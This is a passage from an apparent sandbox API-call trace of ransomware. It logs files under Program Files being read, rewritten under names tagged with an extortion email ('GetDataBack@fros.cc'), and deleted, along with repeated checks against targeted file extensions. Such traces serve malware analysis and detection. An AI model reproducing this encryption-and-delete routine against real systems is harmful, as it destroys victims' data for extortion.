dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0132.374] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.374] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.374] GetLastError () returned 0x0 [0132.374] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x774, lpOverlapped=0x0) returned 1 [0132.376] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x780, lpOverlapped=0x0) returned 1 [0132.377] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0132.377] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xe0, lpOverlapped=0x0) returned 1 [0132.378] SetEndOfFile (hFile=0x220) returned 1 [0132.378] CloseHandle (hObject=0x220) returned 1 [0132.378] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.378] SetEndOfFile (hFile=0x204) returned 1 [0132.378] CloseHandle (hObject=0x204) returned 1 [0132.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.379] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0132.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.379] lstrlenW (lpString=".doc") returned 4 [0132.379] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0132.379] lstrlenW (lpString=".docx") returned 5 [0132.379] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0132.379] lstrlenW (lpString=".pdf") returned 4 [0132.379] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0132.379] lstrlenW (lpString=".xls") returned 4 [0132.379] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0132.379] lstrlenW (lpString=".xlsx") returned 5 [0132.379] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0132.379] lstrlenW (lpString=".ppt") returned 4 [0132.379] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0132.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.379] lstrlenW (lpString=".zip") returned 4 [0132.379] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0132.379] lstrlenW (lpString=".rar") returned 4 [0132.379] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0132.379] lstrlenW (lpString=".bz2") returned 4 [0132.379] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0132.379] lstrlenW (lpString=".7z") returned 3 [0132.379] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0132.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.379] lstrlenW (lpString=".dbf") returned 4 [0132.379] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0132.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.379] lstrlenW (lpString=".1cd") returned 4 [0132.379] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0132.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.380] lstrlenW (lpString=".jpg") returned 4 [0132.380] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0132.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.380] lstrlenW (lpString=".doc") returned 4 [0132.380] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0132.380] lstrlenW (lpString=".docx") returned 5 [0132.380] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0132.380] lstrlenW (lpString=".pdf") returned 4 [0132.380] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0132.380] lstrlenW (lpString=".xls") returned 4 [0132.380] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0132.380] lstrlenW (lpString=".xlsx") returned 5 [0132.380] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0132.380] lstrlenW (lpString=".ppt") returned 4 [0132.380] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0132.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.380] lstrlenW (lpString=".zip") returned 4 [0132.380] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0132.380] lstrlenW (lpString=".rar") returned 4 [0132.380] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0132.380] lstrlenW (lpString=".bz2") returned 4 [0132.380] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0132.380] lstrlenW (lpString=".7z") returned 3 [0132.380] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0132.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.380] lstrlenW (lpString=".dbf") returned 4 [0132.380] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0132.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.380] lstrlenW (lpString=".1cd") returned 4 [0132.380] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0132.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0132.380] lstrlenW (lpString=".jpg") returned 4 [0132.380] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0132.380] lstrcmpiW (lpString1=".FLT", lpString2=".gdb") returned -1 [0132.380] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0132.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0132.381] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=73080) returned 1 [0132.381] CloseHandle (hObject=0x204) returned 1 [0132.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0132.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0132.381] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.381] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.382] GetLastError () returned 0x0 [0132.382] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x11d78, lpOverlapped=0x0) returned 1 [0132.831] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0x11d80, lpOverlapped=0x0) returned 1 [0132.833] ReadFile (in: hFile=0x204, lpBuffer=0x3670020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x307fd7c, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesRead=0x307fd7c*=0x0, lpOverlapped=0x0) returned 1 [0132.833] WriteFile (in: hFile=0x220, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x307fb44, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb44*=0xec, lpOverlapped=0x0) returned 1 [0132.833] SetEndOfFile (hFile=0x220) returned 1 [0132.833] CloseHandle (hObject=0x220) returned 1 [0132.833] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0132.833] SetEndOfFile (hFile=0x204) returned 1 [0132.834] CloseHandle (hObject=0x204) returned 1 [0132.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0132.834] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0132.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.835] lstrlenW (lpString=".doc") returned 4 [0132.835] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.835] lstrlenW (lpString=".docx") returned 5 [0132.835] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.835] lstrlenW (lpString=".pdf") returned 4 [0132.835] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.835] lstrlenW (lpString=".xls") returned 4 [0132.835] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.835] lstrlenW (lpString=".xlsx") returned 5 [0132.835] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.835] lstrlenW (lpString=".ppt") returned 4 [0132.835] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.835] lstrlenW (lpString=".zip") returned 4 [0132.835] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.835] lstrlenW (lpString=".rar") returned 4 [0132.835] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.835] lstrlenW (lpString=".bz2") returned 4 [0132.835] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.835] lstrlenW (lpString=".7z") returned 3 [0132.835] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.835] lstrlenW (lpString=".dbf") returned 4 [0132.835] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.835] lstrlenW (lpString=".1cd") returned 4 [0132.835] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.835] lstrlenW (lpString=".jpg") returned 4 [0132.835] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.835] lstrlenW (lpString=".doc") returned 4 [0132.836] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0132.836] lstrlenW (lpString=".docx") returned 5 [0132.836] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0132.836] lstrlenW (lpString=".pdf") returned 4 [0132.836] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0132.836] lstrlenW (lpString=".xls") returned 4 [0132.836] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0132.836] lstrlenW (lpString=".xlsx") returned 5 [0132.836] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0132.836] lstrlenW (lpString=".ppt") returned 4 [0132.836] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0132.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.836] lstrlenW (lpString=".zip") returned 4 [0132.836] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0132.836] lstrlenW (lpString=".rar") returned 4 [0132.836] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0132.836] lstrlenW (lpString=".bz2") returned 4 [0132.836] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0132.836] lstrlenW (lpString=".7z") returned 3 [0132.836] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0132.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.836] lstrlenW (lpString=".dbf") returned 4 [0132.836] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0132.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.836] lstrlenW (lpString=".1cd") returned 4 [0132.836] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0132.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0132.836] lstrlenW (lpString=".jpg") returned 4 [0132.836] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0132.836] lstrcmpiW (lpString1=".DLL", lpString2=".gdb") returned -1 [0132.836] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0132.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.876] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=1831424) returned 1 [0132.876] CloseHandle (hObject=0x1fc) returned 1 [0132.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0132.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0132.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0132.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0132.877] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0x0) returned 1 [0132.877] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0132.877] ReadFile (in: hFile=0x1fc, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0133.504] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0133.504] ReadFile (in: hFile=0x1fc, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0133.986] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x307fb14 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.986] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x307fad4 | out: lpNewFilePointer=0x0) returned 1 [0133.986] ReadFile (in: hFile=0x1fc, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x307fae0, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x307fae0*=0x40000, lpOverlapped=0x0) returned 1 [0135.092] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fd70 | out: lpNewFilePointer=0x0) returned 1 [0135.092] WriteFile (in: hFile=0x1fc, lpBuffer=0x3670020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x307fb58, lpOverlapped=0x0 | out: lpBuffer=0x3670020*, lpNumberOfBytesWritten=0x307fb58*=0xc0104, lpOverlapped=0x0) returned 1 [0135.113] SetEndOfFile (hFile=0x1fc) returned 1 [0135.115] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0135.115] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0135.116] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x950aa, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0135.116] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0135.240] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x17f200, lpNewFilePointer=0x0, dwMoveMethod=0x307fb24 | out: lpNewFilePointer=0x0) returned 1 [0135.240] WriteFile (in: hFile=0x1fc, lpBuffer=0x38d9fe0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x307fb30, lpOverlapped=0x0 | out: lpBuffer=0x38d9fe0*, lpNumberOfBytesWritten=0x307fb30*=0x40000, lpOverlapped=0x0) returned 1 [0135.243] CloseHandle (hObject=0x1fc) returned 1 [0135.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0135.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.243] lstrlenW (lpString=".doc") returned 4 [0135.243] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0135.243] lstrlenW (lpString=".docx") returned 5 [0135.243] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0135.243] lstrlenW (lpString=".pdf") returned 4 [0135.243] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0135.243] lstrlenW (lpString=".xls") returned 4 [0135.243] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0135.243] lstrlenW (lpString=".xlsx") returned 5 [0135.243] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0135.244] lstrlenW (lpString=".ppt") returned 4 [0135.244] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.244] lstrlenW (lpString=".zip") returned 4 [0135.244] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0135.244] lstrlenW (lpString=".rar") returned 4 [0135.244] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0135.244] lstrlenW (lpString=".bz2") returned 4 [0135.244] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0135.244] lstrlenW (lpString=".7z") returned 3 [0135.244] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.244] lstrlenW (lpString=".dbf") returned 4 [0135.244] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.244] lstrlenW (lpString=".1cd") returned 4 [0135.244] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.244] lstrlenW (lpString=".jpg") returned 4 [0135.244] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.244] lstrlenW (lpString=".doc") returned 4 [0135.244] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0135.244] lstrlenW (lpString=".docx") returned 5 [0135.244] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0135.244] lstrlenW (lpString=".pdf") returned 4 [0135.244] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0135.244] lstrlenW (lpString=".xls") returned 4 [0135.244] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0135.244] lstrlenW (lpString=".xlsx") returned 5 [0135.244] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0135.244] lstrlenW (lpString=".ppt") returned 4 [0135.244] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.245] lstrlenW (lpString=".zip") returned 4 [0135.245] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0135.245] lstrlenW (lpString=".rar") returned 4 [0135.245] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0135.245] lstrlenW (lpString=".bz2") returned 4 [0135.245] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0135.245] lstrlenW (lpString=".7z") returned 3 [0135.245] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.245] lstrlenW (lpString=".dbf") returned 4 [0135.245] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.245] lstrlenW (lpString=".1cd") returned 4 [0135.245] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0135.245] lstrlenW (lpString=".jpg") returned 4 [0135.245] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0135.245] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0135.245] lstrlenW (lpString="micaut.dll.mui") returned 14 [0135.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0136.008] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=8704) returned 1 [0136.008] CloseHandle (hObject=0x220) returned 1 [0136.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 